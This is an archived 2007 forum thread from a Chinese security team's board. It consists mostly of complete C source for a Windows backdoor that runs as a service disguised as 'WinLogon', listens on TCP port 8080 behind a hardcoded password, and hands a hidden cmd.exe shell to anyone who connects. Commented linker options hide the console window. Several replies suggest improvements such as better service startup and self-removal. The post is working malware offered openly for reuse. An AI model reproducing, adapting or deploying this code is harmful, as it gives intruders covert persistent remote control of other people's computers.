邪恶八进制信息安全团队技术讨论组's Archiver

pt007 2007-5-9 12:04

[原创]用SCM方式启动的后门程序C源码

软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
[code]/*本文的后门部分参考了SmallHorse的文章*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
//预编译指令,下面是设置连接器link中的project options,连接器选项值请参考MSDN:
/*#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:main")//用来屏蔽控制台应用程序的窗口
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR")*/
#pragma comment(lib, "ws2_32.lib") //链接到WS2_32.LIB库
u_short port=8080;
char *password="pt007";
int dwBuf=0;
TCHAR buff[56];
TCHAR szBuf[56];
char *error;
DWORD WINAPI ClientThread(LPVOID lpParam);//线程函数声明

////////////////////////////////////////////////////////////
// Declare several global variables to share
// their values across multiple functions of your program.
////////////////////////////////////////////////////////////
SERVICE_STATUS     ServiceStatus;
SERVICE_STATUS_HANDLE  hStatus;

////////////////////////////////////////////////////////////
// Make the forward definitions of functions prototypes.
//
////////////////////////////////////////////////////////////
void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
void OpenDoor();
void OpenSer();
int  checkpass(SOCKET);


// Control Handler
void ControlHandler(DWORD request)
{
  switch(request)
  {
   case SERVICE_CONTROL_STOP:
     OutputDebugString("Monitoring stopped.");
      //printf("Monitoring stopped.\n");

     ServiceStatus.dwWin32ExitCode = 0;
     ServiceStatus.dwCurrentState = SERVICE_STOPPED;
     SetServiceStatus (hStatus, &ServiceStatus);
     return;

   case SERVICE_CONTROL_SHUTDOWN:
     OutputDebugString("Monitoring stopped.");
     //printf("Monitoring stopped.\n");

     ServiceStatus.dwWin32ExitCode = 0;
     ServiceStatus.dwCurrentState = SERVICE_STOPPED;
     SetServiceStatus (hStatus, &ServiceStatus);
     return;
   
   default:
     break;
  }

  // Report current status
  SetServiceStatus (hStatus, &ServiceStatus);

  return;
}

void ServiceMain(int argc, char** argv)
{
  ServiceStatus.dwServiceType = SERVICE_WIN32;
  ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted  = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;
  ServiceStatus.dwWin32ExitCode = 0;
  ServiceStatus.dwServiceSpecificExitCode = 0;
  ServiceStatus.dwCheckPoint = 0;
  ServiceStatus.dwWaitHint = 0;

  hStatus = RegisterServiceCtrlHandler(
   "WinLogon",
   (LPHANDLER_FUNCTION)ControlHandler);
  if (hStatus == (SERVICE_STATUS_HANDLE)0)
  {
   // Registering Control Handler failed
   return;
  }

  
  // We report the running status to SCM.
  ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  SetServiceStatus (hStatus, &ServiceStatus);

//在这里运行自已的后门程序:
OpenDoor();
  return;
}

void OpenDoor()
{
  // 初始化 Winsock.
WSADATA wsaData;
SOCKET m_socket,AcceptClient;
SOCKADDR_IN Service,Client;
char *sendbuf;
int ClientSize,i;
int iResult;
i=0;
iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
if ( iResult != NO_ERROR )
  return;

// 创建一个 socket:
  m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if(m_socket==SOCKET_ERROR)
    return;
Service.sin_family = AF_INET;
Service.sin_addr.s_addr = htonl(INADDR_ANY);
Service.sin_port = htons( port );

if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
   return;//绑定

if (listen(m_socket,5)==SOCKET_ERROR)
    return;//最大监听列队5个
printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);
  ClientSize=sizeof(Client);
  while(1)
  {
  AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);//返回已连接套接字
  if(AcceptClient==SOCKET_ERROR)
    return;//接受连接
  //printf( "Client Connected.\n");
  sendbuf=">>>";
  send(AcceptClient,sendbuf,strlen(sendbuf), 0);//发送到客户端

memset(szBuf,0,56);
memset(buff,0,56);
dwBuf=0;
  while(1)
{
  if(recv(AcceptClient,buff,1,0)==SOCKET_ERROR)
    return ;

  szBuf[dwBuf]=buff[0];
  
  if(buff[0]==&#39;\n&#39;){ //回车换行符
    szBuf[--dwBuf]=&#39;\0&#39;;
    break;
  }
  dwBuf++;
  
}
  
if(!(stricmp(szBuf,password)==0))
{  error="\r\nPassword error!\r\n";
  send(AcceptClient,error,strlen(error), 0);
  //printf("\nPassWord ERROR!\r\n");
  //如何无错误的返回呢?
  closesocket(AcceptClient);}
//为每个连接都创建一个线程:
  if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
    printf("Create Thread Error!\n");
  Sleep(1000);
  }
  WSACleanup();
  return;
}


int checkpass(SOCKET AcceptClient)
{//下面是判断密码是否为pt007:
if(!(stricmp(szBuf,password)==0))
{  error="\r\nPassword error!\r\n";
  send(AcceptClient,error,strlen(error), 0);
  //printf("\nPassWord ERROR!\r\n");
  //如何无错误的返回呢?
  closesocket(AcceptClient);
  return 0;
}
  return 1;
}


void OpenSer()
{
SC_HANDLE hSCManager,hService;
DWORD hEorr;
   

//第一步是打开SCM,获取句柄然后允许打开服务:
  hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//SC_MANAGER_CREATE_SERVICE);
  if (hSCManager == NULL)
  {
     hEorr =GetLastError();
     printf("Open SCManager false.....\n",hEorr);
     exit(0);
  }
//第二步是打开服务:
   hService = OpenService(hSCManager,"WinLogon",SERVICE_ALL_ACCESS);
   if (hService!=NULL)
    {
      //第三步是启动指定服务:
      if(StartService(hService,0,NULL))
        printf("Start service success!\n");
          }
   else
   {printf("Start service error!\n");
   }
   CloseServiceHandle(hSCManager);//关闭服务句柄
   CloseServiceHandle(hService);
  return ;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
STARTUPINFO startinfo;
SOCKET AcceptClient;
SECURITY_ATTRIBUTES sa;
char cmdline[MAX_PATH];
PROCESS_INFORMATION proinfo;
unsigned long ByteRec;

AcceptClient=(SOCKET)*(SOCKET*)lpParam;
//下面是设置安全属性结构:
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;//权限可继承
sa.lpSecurityDescriptor=NULL;//使用默认的安全性

ret=CreatePipe(&Rpipe,&Rfile,&sa,0);//创建匿名管道1
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立管道2,分别用于接收命令和显示结果


GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;//子进程的标准输入指向管道2的读管道句柄
startinfo.hStdError=startinfo.hStdOutput=Rfile;//子进程的标准输出指向管道1的写管道句柄
startinfo.wShowWindow=SW_HIDE;


GetSystemDirectory(cmdline,MAX_PATH);//获得系统目录
  strcat(cmdline,("\\cmd.exe"));//即:c:\windows\system32\cmd.exe

//创建一个子进程:
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);

while(1)
{
  Sleep(100);//休眠100ms
  PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
  if(ByteRec){
    ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);//将管道1的读句柄的内容写入到buf中
    if(!ret)
       break;
    ret=send(AcceptClient,Buf,ByteRec,0);//将标准输出发送到客户端
    if(ret<=0)
       break;
  }
  else{
    ByteRec=recv(AcceptClient,Buf,1024,0);//接收来自客户端的数据并存入Buf中
    if(ByteRec<=0)
       break;
    ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);//将Buf中的数据写入到管道2的写句柄
    if(!ret)
       break;
  }
}
return 0;
}


void main(int argc, char* argv[])
{
  SERVICE_TABLE_ENTRY ServiceTable[2];
  ServiceTable[0].lpServiceName = "WinLogon";
  ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

  ServiceTable[1].lpServiceName = NULL;
  ServiceTable[1].lpServiceProc = NULL;
  // Start the control dispatcher thread for our service
  StartServiceCtrlDispatcher(ServiceTable);
}

[/code]

jonathanliu 2007-5-20 10:17

OpenDoor() 放到serviceman中感觉不是很好吧,因为serviceman似乎启动后有时间返回要求。似乎放到start控制里面,比较好一点。

kktlxd 2007-5-26 19:25

用SCM方式启动 如果你的代码能自动卸载可能更加受到欢迎了。 但是要是以SCM启动的话要卸载好像是不可能的了。除非调用外部程序来实现 [s:266]

cjywan 2007-5-29 23:28

[s:264]

页: [1]
© 1999-2008 EvilOctal Security Team